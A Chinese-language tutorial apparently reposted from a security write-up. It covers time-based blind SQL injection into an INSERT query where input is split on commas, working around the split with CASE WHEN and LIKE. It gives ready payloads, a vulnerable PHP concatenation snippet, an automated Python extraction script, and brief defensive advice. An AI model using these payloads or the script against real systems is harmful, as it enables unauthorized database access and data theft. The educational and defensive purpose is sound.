在逗号被禁止的情况下的SQL注入技巧
字数 836 2025-08-26 22:11:35
SQL注入技巧:在逗号被禁止的情况下的利用方法
1. 漏洞背景
本文介绍了一种特殊的SQL注入场景,当应用程序禁止使用逗号时,如何构造有效的注入payload。这种场景出现在以下情况:
- 应用程序使用
explode(",", $input)处理输入,将输入按逗号分割成数组 - 分割后的数组元素被单独插入SQL查询,导致传统注入技术失效
2. 传统SQL注入技术回顾
在正常的插入查询注入中,通常有以下几种利用方式:
2.1 基于错误的注入
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1
2.2 使用子查询
jnk review',(select user()),'dummy name')-- -
2.3 基于时间的盲注
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
3. 问题场景
当输入被逗号分割时,例如:
$urls_input=$_POST['urls'];
$urls = explode(",", $urls_input);
foreach($urls as $url){
mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}
传统payload会被分割成无意义的片段:
xxx'-(IF((substring((select database()) [分割点]
1 [分割点]
1)) = 'd' [分割点]
sleep(5) [分割点]
0))-'xxxx
4. 解决方案:无逗号注入技术
4.1 替代IF语句
使用CASE WHEN替代IF:
CASE WHEN (条件) THEN (真时操作) ELSE (假时操作) END
示例:
SELECT CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
4.2 替代SUBSTRING函数
使用LIKE操作符替代SUBSTRING:
CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END
4.3 完整payload构造
最终的注入payload格式:
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
其中:
MY_QUERY是要执行的SQL查询CHAR_TO_BRUTE_FORCE是要暴力破解的字符%25是URL编码的百分号(%)
5. 自动化利用脚本
作者提供了一个Python脚本来自动化数据提取过程:
import requests
import sys
import time
# 配置部分
url = "目标URL"
headers = {
"User-Agent": "Mozilla/5.0...",
# 其他必要头部
}
# 1. 获取查询结果长度
for i in range(1,100):
payload = f"jnkfooo'-cast((select CASE WHEN ((select length({query}))={i}) THEN (sleep(1)) ELSE 2 END) as char)-'"
data = {"methods[]": "on-site", "urls[]": payload}
# 发送请求并测量响应时间
if response_time > 2:
length = i
break
# 2. 逐个字符暴力破解
outp = ''
charset = "abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
for i in range(1,length):
for char in charset:
payload = f"jnkfooo'-cast((select CASE WHEN ({query} like '{outp}{char}%') THEN (sleep(1)) ELSE 2 END) as char)-'"
data = {"methods[]": "on-site", "urls[]": payload}
# 发送请求并测量响应时间
if response_time > 2:
outp += char
break
6. 关键点总结
- 逗号限制的绕过:使用
CASE WHEN和LIKE替代需要逗号的函数 - 时间盲注:依赖
sleep()函数和响应时间判断条件真假 - 字符集暴力破解:通过逐个尝试字符来获取完整数据
- CAST函数的使用:确保查询结果被正确处理
- 百分号编码:在URL中使用
%25代替%避免被错误解析
7. 防御建议
- 使用参数化查询或预处理语句
- 对用户输入进行严格过滤和转义
- 避免直接拼接用户输入到SQL查询中
- 实施最小权限原则,限制数据库用户权限
- 使用Web应用防火墙(WAF)检测和阻止SQL注入尝试
8. 实际应用示例
假设要获取当前数据库用户:
urls[]=xxx'-cast((select CASE WHEN ((select user()) like 'root%25') THEN (sleep(1)) ELSE 2 END) as char)-'
如果响应时间超过1秒,则说明用户以"root"开头。